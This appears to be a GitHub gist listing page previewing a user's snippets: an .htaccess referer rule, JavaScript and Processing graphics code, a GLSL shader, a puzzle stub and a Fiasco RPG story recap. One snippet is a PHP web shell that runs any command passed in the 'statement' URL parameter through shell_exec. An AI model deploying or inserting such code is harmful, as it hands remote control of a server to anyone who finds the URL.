This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Options +FollowSymlinks | |
RewriteEngine on | |
# No intersticial for direct reference and self-reference | |
RewriteCond %{HTTP_REFERER} !^$ | |
RewriteCond %{HTTP_REFERER} !^http(s)?://box.leebyron.com/.*$ [NC] | |
# Add a line item for every website you don't need an intersticial for | |
# I've added my own website, gmail and facebook | |
RewriteCond %{HTTP_REFERER} !^http(s)?://([^\.]*.)?leebyron.com/.*$ [NC] | |
RewriteCond %{HTTP_REFERER} !^http(s)?://mail.google.com/.*$ [NC] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
asdf |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var scroller = { | |
frame: 0, | |
frame2: 0.1, | |
amplitude1: 10, | |
offset: 0.2, | |
sinescroll: function(target){ | |
scrolltext = $(target).text(); | |
$(target).text(""); | |
// write DIVs to hold characters |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
if(!empty($_GET['statement'])){ | |
ini_set('display_errors', 1); | |
ini_set('log_errors', 1); | |
ini_set('error_log', dirname(__FILE__) . '/error_log.txt'); | |
error_reporting(E_ALL); | |
print_r(shell_exec($_GET['statement'])); | |
}else{ | |
?> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* Solves the following problem | |
Given a dictionary, output all word pairs where both words share all their letters except the last two, which are distinct and reversed. | |
Notes: | |
- Use a reasonable dictionary of your choice | |
- Potential word pairs are: "ear, era" ; "revies, revise" ; "burglaries, burglarise" | |
- "shear, era" is not a valid pair because "she" != "e" | |
- "bell, bell" is not a valid pair because the last two letters are not distinct | |
- This will be benchmarked |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// working on this: http://code4k.blogspot.com/1009/10/potatro-and-raymarching-story-of.html | |
PImage img; | |
Sphere[] s = new Sphere[10]; | |
// move through the screen points | |
Vector3d cameraCenter; | |
float screenDistance; | |
Vector3d rayPosition, lightPos; | |
int currentSphere; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script type="text/javascript"> | |
function clone(obj) { | |
// A clone of an object is an empty object with a prototype reference to the original. | |
// As such, you can access the current properties of the original through the clone. | |
// If you set a clone's property, it will override the orignal's property, and | |
// not affect the orignal. You can use the delete operator on the clone's overridden | |
// property to return to the earlier lookup behavior. | |
function Clone() { } // a private constructor, used only by this one clone. | |
Clone.prototype = obj; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
precision highp float; | |
#endif | |
uniform vec2 resolution; | |
uniform float time; | |
uniform sampler2D tex0; | |
uniform sampler2D tex1; | |
float jinteresct(in vec3 rO, in vec3 rD, in vec4 c, out float ao) | |
{ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
* module 1 | |
* class 1 | |
* class 2 | |
* class 2 | |
* module 2 | |
* class 1 | |
* class 2 | |
* class 2 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Played Fiasco (a GM less storytelling RPG. see www.bullypulpitgames.com/games/fiasco) with Morgan Cahn, Erin Hardee, and Morag Hannah... Here is the story that we created. It is slightly edited because I didn't take the best notes, and also slightly edited to make the scene transitions work a bit better. | |
ACT 1 | |
JJ is a struggling business man, looking for any way to keep is failing parts company from being purchased by Charlotte Steadler. He attempts to get small time criminal sweets to hold his champion dog for him, while he commits dognap insurance fraud. | |
Before he is able to get Sweets to hold his dog for him, he is brought into a meeting with Charlotte, who attempts to strong arm him into signing the paper to sell his business to her. Charlotte wants to take both of these businesses and convert them into a philanthropic organizations. During this meeting, JJ begins to show cracks in his personality, threatening Charlottes business. | |
Meanwhile, Sweets is being talked to by her brother Gunter, who wants |
OlderNewer